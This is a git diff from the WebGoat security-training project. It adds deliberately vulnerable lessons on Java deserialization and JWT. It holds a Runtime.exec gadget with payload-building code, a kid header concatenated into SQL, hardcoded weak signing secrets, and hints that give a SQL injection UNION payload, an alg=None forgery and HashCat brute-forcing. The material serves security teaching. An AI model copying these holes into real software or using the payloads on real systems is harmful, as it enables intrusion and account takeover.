No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc new file mode 100644 index 000000000..d9c2b739d --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc @@ -0,0 +1,46 @@ +== The Simplest Exploit + +=== Vulnerable code + +The following is a well-known example for a Java Deserialization vulnerability. + +[source,java] +---- +InputStream is = request.getInputStream(); +ObjectInputStream ois = new ObjectInputStream(is); +AcmeObject acme = (AcmeObject)ois.readObject(); +---- + +It is expecting an `AcmeObject` object, but it will execute `readObject()` before the casting ocurs. +If an attacker finds the proper class implementing dangerous operations in `readObject()`, he could serialize that object and force the vulnerable application to performe those actions. + +=== Class included in ClassPath + +Attackers need to find a class in the classpath that supports serialization and with dangerous implementations on `readObject()`. + +[source,java] +---- +public class GadgetObject implements Serializable { + String cmd; + + private void readObject( ObjectInputStream stream ) throws Exception { + Runtime.getRuntime().exec(cmd); + } +} +---- + +=== Exploit + +If the java class shown above exists, attackers can serialize that object and obtain Remote Code Execution. + +[source,java] +---- +GadgetObject go = new GadgetObject(); +go.cmd = "touch /tmp/pwned.txt"; + +ByteArrayOutputStream bos = new ByteArrayOutputStream(); +ObjectOutputStream oos = new ObjectOutputStream(bos); +oos.writeObject(go); +oos.flush(); +byte[] exploit = bos.toByteArray(); +---- \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc new file mode 100755 index 000000000..6e65617a7 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc @@ -0,0 +1,8 @@ +=== Let's try +The following input box receives a serialized object (a string) and it deserialzes it. + +``` +rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l +``` + +Try to change this serialized object in order to delay the page response for exactly 5 seconds. \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc new file mode 100644 index 000000000..0d325f78e --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc @@ -0,0 +1,23 @@ +== What is Serialization + +Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML. + +---- +a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} +---- + +=== Native Serialization + +Many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks. + +=== Known Affected Programming Languages +* PHP +* Python +* Ruby +* Java +* C +* C++ + +=== Data, not Code + +ONLY data is serialized. Code is not serialized itself. Deserialization creates a new object and copies all the data from the byte stream, in order to obtain and object identical to the object that was serialized. \ No newline at end of file diff --git a/webgoat-lessons/insecure-login/pom.xml b/webgoat-lessons/insecure-login/pom.xml index 4d4d9625c..ed6bd358e 100755 --- a/webgoat-lessons/insecure-login/pom.xml +++ b/webgoat-lessons/insecure-login/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT diff --git a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc b/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc index f4fac8471..349211b39 100755 --- a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc +++ b/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc @@ -1,6 +1,6 @@ == Concept -Encryption is a very inportant tool for secure communication. In this lesson, we will find out, why it should always be employed when sending sensitive data. +Encryption is a very important tool for secure communication. In this lesson, we will find out, why it should always be employed when sending sensitive data. == Goals * The user should have a basic understanding of packet sniffer usage diff --git a/webgoat-lessons/jwt/pom.xml b/webgoat-lessons/jwt/pom.xml index e03c3385e..ec6861190 100644 --- a/webgoat-lessons/jwt/pom.xml +++ b/webgoat-lessons/jwt/pom.xml @@ -6,7 +6,21 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT + + + io.jsonwebtoken + jjwt + 0.7.0 + + + org.springframework.security + spring-security-test + 4.1.3.RELEASE + test + + + diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java new file mode 100644 index 000000000..cec9fd62c --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java @@ -0,0 +1,106 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.base.Charsets; +import io.jsonwebtoken.*; +import io.jsonwebtoken.impl.TextCodec; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.session.DatabaseUtilities; +import org.owasp.webgoat.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; + +/** + *
    + *  {
    + *      "typ": "JWT",
    + *      "kid": "webgoat_key",
    + *      "alg": "HS256"
    + *  }
    + *  {
    + *       "iss": "WebGoat Token Builder",
    + *       "iat": 1524210904,
    + *       "exp": 1618905304,
    + *       "aud": "webgoat.org",
    + *       "sub": "jerry@webgoat.com",
    + *       "username": "Jerry",
    + *       "Email": "jerry@webgoat.com",
    + *       "Role": [
    + *       "Cat"
    + *       ]
    + *  }
    + * 
    + * + * @author nbaars + * @since 4/23/17. + */ +@AssignmentPath("/JWT/final") +@AssignmentHints({"jwt-final-hint1", "jwt-final-hint2", "jwt-final-hint3", "jwt-final-hint4", "jwt-final-hint5", "jwt-final-hint6"}) +public class JWTFinalEndpoint extends AssignmentEndpoint { + + @Autowired + private WebSession webSession; + + @PostMapping("follow/{user}") + public @ResponseBody + String follow(@PathVariable("user") String user) { + if ("Jerry".equals(user)) { + return "Following yourself seems redundant"; + } else { + return "You are now following Tom"; + } + } + + @PostMapping("delete") + public @ResponseBody + AttackResult resetVotes(@RequestParam("token") String token) { + if (StringUtils.isEmpty(token)) { + return trackProgress(failed().feedback("jwt-invalid-token").build()); + } else { + try { + final String[] errorMessage = {null}; + Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() { + @Override + public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { + final String kid = (String) header.get("kid"); + try { + Connection connection = DatabaseUtilities.getConnection(webSession); + ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); + while (rs.next()) { + return TextCodec.BASE64.decode(rs.getString(1)); + } + } catch (SQLException e) { + errorMessage[0] = e.getMessage(); + } + return null; + } + }).parse(token); + if (errorMessage[0] != null) { + return trackProgress(failed().output(errorMessage[0]).build()); + } + Claims claims = (Claims) jwt.getBody(); + String username = (String) claims.get("username"); + if ("Jerry".equals(username)) { + return trackProgress(failed().feedback("jwt-final-jerry-account").build()); + } + if ("Tom".equals(username)) { + return trackProgress(success().build()); + } else { + return trackProgress(failed().feedback("jwt-final-not-tom").build()); + } + } catch (JwtException e) { + return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build()); + } + } + } +} diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTRefreshEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTRefreshEndpoint.java new file mode 100644 index 000000000..192a4bef7 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTRefreshEndpoint.java @@ -0,0 +1,109 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.collect.Lists; +import com.google.common.collect.Maps; +import io.jsonwebtoken.*; +import org.apache.commons.lang3.RandomStringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.ResponseBody; + +import java.util.Date; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +/** + * @author nbaars + * @since 4/23/17. + */ +@AssignmentPath("/JWT/refresh/") +@AssignmentHints({"jwt-refresh-hint1", "jwt-refresh-hint2", "jwt-refresh-hint3", "jwt-refresh-hint4"}) +public class JWTRefreshEndpoint extends AssignmentEndpoint { + + public static final String PASSWORD = "bm5nhSkxCXZkKRy4"; + private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4"; + private static final List validRefreshTokens = Lists.newArrayList(); + + @PostMapping(value = "login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE) + public @ResponseBody + ResponseEntity follow(@RequestBody Map json) { + String user = (String) json.get("user"); + String password = (String) json.get("password"); + + if ("Jerry".equals(user) && PASSWORD.equals(password)) { + return ResponseEntity.ok(createNewTokens(user)); + } + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + + private Map createNewTokens(String user) { + Map claims = Maps.newHashMap(); + claims.put("admin", "false"); + claims.put("user", user); + String token = Jwts.builder() + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) + .compact(); + Map tokenJson = Maps.newHashMap(); + String refreshToken = RandomStringUtils.randomAlphabetic(20); + validRefreshTokens.add(refreshToken); + tokenJson.put("access_token", token); + tokenJson.put("refresh_token", refreshToken); + return tokenJson; + } + + @PostMapping("checkout") + public @ResponseBody + AttackResult checkout(@RequestHeader("Authorization") String token) { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if ("Tom".equals(user)) { + return trackProgress(success().build()); + } + return trackProgress(failed().feedback("jwt-refresh-not-tom").feedbackArgs(user).build()); + } catch (ExpiredJwtException e) { + return trackProgress(failed().output(e.getMessage()).build()); + } catch (JwtException e) { + return trackProgress(failed().feedback("jwt-invalid-token").build()); + } + } + + @PostMapping("newToken") + public @ResponseBody + ResponseEntity newToken(@RequestHeader("Authorization") String token, @RequestBody Map json) { + String user; + String refreshToken; + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); + user = (String) jwt.getBody().get("user"); + refreshToken = (String) json.get("refresh_token"); + } catch (ExpiredJwtException e) { + user = (String) e.getClaims().get("user"); + refreshToken = (String) json.get("refresh_token"); + } + + if (user == null || refreshToken == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else if (validRefreshTokens.contains(refreshToken)) { + validRefreshTokens.remove(refreshToken); + return ResponseEntity.ok(createNewTokens(user)); + } else { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + } + +} diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java new file mode 100644 index 000000000..5748681f5 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java @@ -0,0 +1,51 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.collect.Lists; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.Jwts; +import org.springframework.web.bind.annotation.ResponseBody; + +import java.util.List; + +/** + * @author nbaars + * @since 4/23/17. + */ +@AssignmentPath("/JWT/secret") +@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"}) +public class JWTSecretKeyEndpoint extends AssignmentEndpoint { + + public static final String JWT_SECRET = "victory"; + private static final String WEBGOAT_USER = "WebGoat"; + private static final List expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role"); + + @PostMapping + @ResponseBody + public AttackResult login(@RequestParam String token) { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_SECRET).parse(token); + Claims claims = (Claims) jwt.getBody(); + if (!claims.keySet().containsAll(expectedClaims)) { + return trackProgress(failed().feedback("jwt-secret-claims-missing").build()); + } else { + String user = (String) claims.get("username"); + + if (WEBGOAT_USER.equalsIgnoreCase(user)) { + return trackProgress(success().build()); + } else { + return trackProgress(failed().feedback("jwt-secret-incorrect-user").feedbackArgs(user).build()); + } + } + } catch (Exception e) { + return trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build()); + } + } +} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/VotesEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java similarity index 67% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/VotesEndpoint.java rename to webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java index 619e35c13..c963212ee 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/VotesEndpoint.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java @@ -1,9 +1,19 @@ -package org.owasp.webgoat.plugin.challenge4; +package org.owasp.webgoat.plugin; import com.google.common.collect.Maps; -import io.jsonwebtoken.*; +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.JwtException; +import io.jsonwebtoken.Jwts; import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.plugin.votes.Views; +import org.owasp.webgoat.plugin.votes.Vote; import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.http.converter.json.MappingJacksonValue; import org.springframework.web.bind.annotation.*; @@ -11,7 +21,8 @@ import org.springframework.web.bind.annotation.*; import javax.annotation.PostConstruct; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletResponse; -import java.util.Collection; +import java.time.Duration; +import java.time.Instant; import java.util.Date; import java.util.Map; import java.util.concurrent.TimeUnit; @@ -19,17 +30,16 @@ import java.util.concurrent.TimeUnit; import static java.util.Comparator.comparingLong; import static java.util.Optional.ofNullable; import static java.util.stream.Collectors.toList; -import static org.owasp.webgoat.plugin.Flag.FLAGS; -import static org.owasp.webgoat.plugin.SolutionConstants.JWT_PASSWORD; /** * @author nbaars * @since 4/23/17. */ -@RestController -@RequestMapping("/votings") -public class VotesEndpoint { +@AssignmentPath("/JWT/votings") +@AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"}) +public class JWTVotesEndpoint extends AssignmentEndpoint { + public static final String JWT_PASSWORD = "victory"; private static String validUsers = "TomJerrySylvester"; private static int totalVotes = 38929; @@ -57,25 +67,27 @@ public class VotesEndpoint { @GetMapping("/login") public void login(@RequestParam("user") String user, HttpServletResponse response) { if (validUsers.contains(user)) { - Map claims = Maps.newHashMap(); + Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10)))); claims.put("admin", "false"); claims.put("user", user); String token = Jwts.builder() - .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) .setClaims(claims) - .signWith(SignatureAlgorithm.HS512, JWT_PASSWORD) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) .compact(); Cookie cookie = new Cookie("access_token", token); response.addCookie(cookie); response.setStatus(HttpStatus.OK.value()); + response.setContentType(MediaType.APPLICATION_JSON_VALUE); } else { Cookie cookie = new Cookie("access_token", ""); response.addCookie(cookie); response.setStatus(HttpStatus.UNAUTHORIZED.value()); + response.setContentType(MediaType.APPLICATION_JSON_VALUE); } } @GetMapping + @ResponseBody public MappingJacksonValue getVotes(@CookieValue(value = "access_token", required = false) String accessToken) { MappingJacksonValue value = new MappingJacksonValue(votes.values().stream().sorted(comparingLong(Vote::getAverage).reversed()).collect(toList())); if (StringUtils.isEmpty(accessToken)) { @@ -85,12 +97,10 @@ public class VotesEndpoint { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); Claims claims = (Claims) jwt.getBody(); String user = (String) claims.get("user"); - boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); if ("Guest".equals(user) || !validUsers.contains(user)) { value.setSerializationView(Views.GuestView.class); } else { - ((Collection) value.getValue()).forEach(v -> v.setFlag(FLAGS.get(4))); - value.setSerializationView(isAdmin ? Views.AdminView.class : Views.UserView.class); + value.setSerializationView(Views.UserView.class); } } catch (JwtException e) { value.setSerializationView(Views.GuestView.class); @@ -110,15 +120,37 @@ public class VotesEndpoint { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); Claims claims = (Claims) jwt.getBody(); String user = (String) claims.get("user"); - if (validUsers.contains(user)) { + if (!validUsers.contains(user)) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else { ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes)); return ResponseEntity.accepted().build(); - } else { - return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } } catch (JwtException e) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } } } + + @PostMapping("reset") + public @ResponseBody + AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) { + if (StringUtils.isEmpty(accessToken)) { + return trackProgress(failed().feedback("jwt-invalid-token").build()); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); + if (!isAdmin) { + return trackProgress(failed().feedback("jwt-only-admin").build()); + } else { + votes.values().forEach(vote -> vote.reset()); + return trackProgress(success().build()); + } + } catch (JwtException e) { + return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build()); + } + } + } } diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java new file mode 100644 index 000000000..591769c5c --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java @@ -0,0 +1,13 @@ +package org.owasp.webgoat.plugin.votes; + +/** + * @author nbaars + * @since 4/30/17. + */ +public class Views { + public interface GuestView { + } + + public interface UserView extends GuestView { + } +} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/Vote.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java similarity index 91% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/Vote.java rename to webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java index ccb51c3b1..d9217d402 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge4/Vote.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.plugin.challenge4; +package org.owasp.webgoat.plugin.votes; import com.fasterxml.jackson.annotation.JsonView; import lombok.Getter; @@ -20,9 +20,6 @@ public class Vote { private final String imageBig; @JsonView(Views.UserView.class) private int numberOfVotes; - @JsonView(Views.AdminView.class) - @Setter - private String flag; @JsonView(Views.UserView.class) private boolean votingAllowed = true; @JsonView(Views.UserView.class) @@ -43,6 +40,11 @@ public class Vote { this.average = calculateStars(totalVotes); } + public void reset() { + this.numberOfVotes = 1; + this.average = 1; + } + private long calculateStars(int totalVotes) { return Math.round(((double) numberOfVotes / (double) totalVotes) * 4); } diff --git a/webgoat-lessons/jwt/src/main/resources/css/jwt.css b/webgoat-lessons/jwt/src/main/resources/css/jwt.css new file mode 100644 index 000000000..19dd769d0 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/css/jwt.css @@ -0,0 +1,116 @@ +a.list-group-item { + height:auto; +} +a.list-group-item.active small { + color:#fff; +} +.stars { + margin:20px auto 1px; +} +.img-responsive { + min-width: 100%; +} + + +.card { + font-size: 1em; + overflow: hidden; + padding: 0; + border: none; + border-radius: .28571429rem; + box-shadow: 0 1px 3px 0 #d4d4d5, 0 0 0 1px #d4d4d5; +} + +.card-block { + font-size: 1em; + position: relative; + margin: 0; + padding: 1em; + border: none; + border-top: 1px solid rgba(34, 36, 38, .1); + box-shadow: none; +} + +.card-img-top { + display: block; + width: 100%; + height: auto; +} + +.card-title { + font-size: 1.28571429em; + font-weight: 700; + line-height: 1.2857em; +} + +.card-text { + clear: both; + margin-top: .5em; + color: rgba(0, 0, 0, .68); +} + +.card-footer { + font-size: 1em; + position: static; + top: 0; + left: 0; + max-width: 100%; + padding: .75em 1em; + color: rgba(0, 0, 0, .4); + border-top: 1px solid rgba(0, 0, 0, .05) !important; + background: #fff; +} + +.card-inverse .btn { + border: 1px solid rgba(0, 0, 0, .05); +} + +.profile { + position: absolute; + top: -12px; + display: inline-block; + overflow: hidden; + box-sizing: border-box; + width: 50px; + height: 50px; + margin: 0; + border: 1px solid #fff; + border-radius: 50%; +} + +.profile-avatar { + display: block; + width: 100%; + height: auto; + border-radius: 50%; +} + +.profile-inline { + position: relative; + top: 0; + display: inline-block; +} + +.profile-inline ~ .card-title { + display: inline-block; + margin-left: 4px; + vertical-align: top; +} + +.text-bold { + font-weight: 700; +} + +.meta { + font-size: 1em; + color: rgba(0, 0, 0, .4); +} + +.meta a { + text-decoration: none; + color: rgba(0, 0, 0, .4); +} + +.meta a:hover { + color: rgba(0, 0, 0, .87); +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/html/JWT.html b/webgoat-lessons/jwt/src/main/resources/html/JWT.html index 242452f71..9ba14748f 100644 --- a/webgoat-lessons/jwt/src/main/resources/html/JWT.html +++ b/webgoat-lessons/jwt/src/main/resources/html/JWT.html @@ -3,40 +3,287 @@
    - -
    +
    +
    +
    +
    +
    +
    +
    +
    + + + + +
    +
    +
    +
    +
    +
    + +
    + +
    +
    + +
    +

    Welcome back,

    +
    +
    + +
    +

    Vote for your favorite

    +
    +
    + +
    +
    +
    +
    +
    + +
    + +
    +
    - - -
    - +
    +
    - - - -
    -
    - - Enter Your Name: - +
    +
    +
    +
    + +
    +
    + +
    +
    - + +
    -
    +
    +
    +
    +
    + +
    +
    + + + + +
    +
    +
    +
    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ProductQuantityPriceTotal 
    + + + + $ + 4.87 + $14.61 + +
    +
    + +
    +

    Pentesting for professionals

    +
    by WebWolf Publishing
    + Status: Leaves warehouse in 2 - 3 weeks +
    +
    +
    + + $4.99 + $9.98 + +
         
    Subtotal

    Estimated shipping
    +

    Total

    $24.59

    $6.94
    +

    $31.53

          + + + +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    + + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +

    Jerry

    +
    + Jerry is a small, brown, house mouse. +
    +
    + +
    +
    +
    +
    + +
    +
    + +
    +

    Tom

    +
    + Tom is a grey and white domestic short hair cat. +
    +
    + +
    +
    +
    +
    + +
    +
    +
    +
    \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties index 9b9f75e31..92cad6316 100644 --- a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties @@ -1 +1,33 @@ -jwt.title=JWT tokens (Under development) +jwt.title=JWT tokens + +#Assignment changing tokens +jwt-user=You are logged in as {0}, but you are not an admin yet, please try again +jwt-invalid-token=Not a valid JWT token, please try again +jwt-only-admin=Only an admin user can reset the votes +jwt-change-token-hint1=Select a different user and look at the token you receive back, use the delete button to reset the votes count +jwt-change-token-hint2=Decode the token and look at the contents +jwt-change-token-hint3=Change the contents of the token and replace the cookie before sending the request for getting the votes +jwt-change-token-hint4=Change the admin field to true in the token +jwt-change-token-hint5=Submit the token by changing the algorithm to None and remove the signature + +jwt-secret-hint1=Save the token and try to verify the token locally +jwt-secret-hint2=Download a word list dictionary (https://github.com/first20hours/google-10000-english) +jwt-secret-hint3=Write a small program or use HashCat for brute forcing the token according the word list +jwt-secret-claims-missing=You are missing some claims, you should keep all the claims in the token +jwt-secret-incorrect-user=The user is {0}, you need to change it to WebGoat + +jwt-refresh-hint1=Look at the access log you will find a token there +jwt-refresh-hint2=The token from the access log is no longer valid, can you find a way to refresh it? +jwt-refresh-hint3=The endpoint for refreshing a token is 'jwt/refresh/newToken' +jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your own refresh token +jwt-refresh-not-tom=User is not Tom but {0}, please try again + +jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom +jwt-final-not-tom=Username is not Tom try to pass a token for Tom + +jwt-final-hint1=Take a look at the token and specifically and the header +jwt-final-hint2=The 'kid' (key ID) header parameter is a hint indicating which key was used to secure the JWS +jwt-final-hint3=The key can be located on the filesystem in memory or even reside in the database +jwt-final-hint4=The key is stored in the database and loaded while verifying a token +jwt-final-hint5=Using a SQL injection you might be able to manipulate the key to something you know and create a new token. +jwt-final-hint6=Use: hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS -- as the kid in the header and change the contents of the token to Tom and hit the endpoint with the new token \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/images/jerry.png b/webgoat-lessons/jwt/src/main/resources/images/jerry.png new file mode 100644 index 000000000..5ed492711 Binary files /dev/null and b/webgoat-lessons/jwt/src/main/resources/images/jerry.png differ diff --git a/webgoat-lessons/jwt/src/main/resources/images/jwt_diagram.png b/webgoat-lessons/jwt/src/main/resources/images/jwt_diagram.png new file mode 100644 index 000000000..cb70a6b66 Binary files /dev/null and b/webgoat-lessons/jwt/src/main/resources/images/jwt_diagram.png differ diff --git a/webgoat-lessons/jwt/src/main/resources/images/jwt_token.png b/webgoat-lessons/jwt/src/main/resources/images/jwt_token.png new file mode 100644 index 000000000..43a07c4c8 Binary files /dev/null and b/webgoat-lessons/jwt/src/main/resources/images/jwt_token.png differ diff --git a/webgoat-lessons/jwt/src/main/resources/images/logs.txt b/webgoat-lessons/jwt/src/main/resources/images/logs.txt new file mode 100644 index 000000000..42146c185 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/images/logs.txt @@ -0,0 +1,6 @@ + +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" 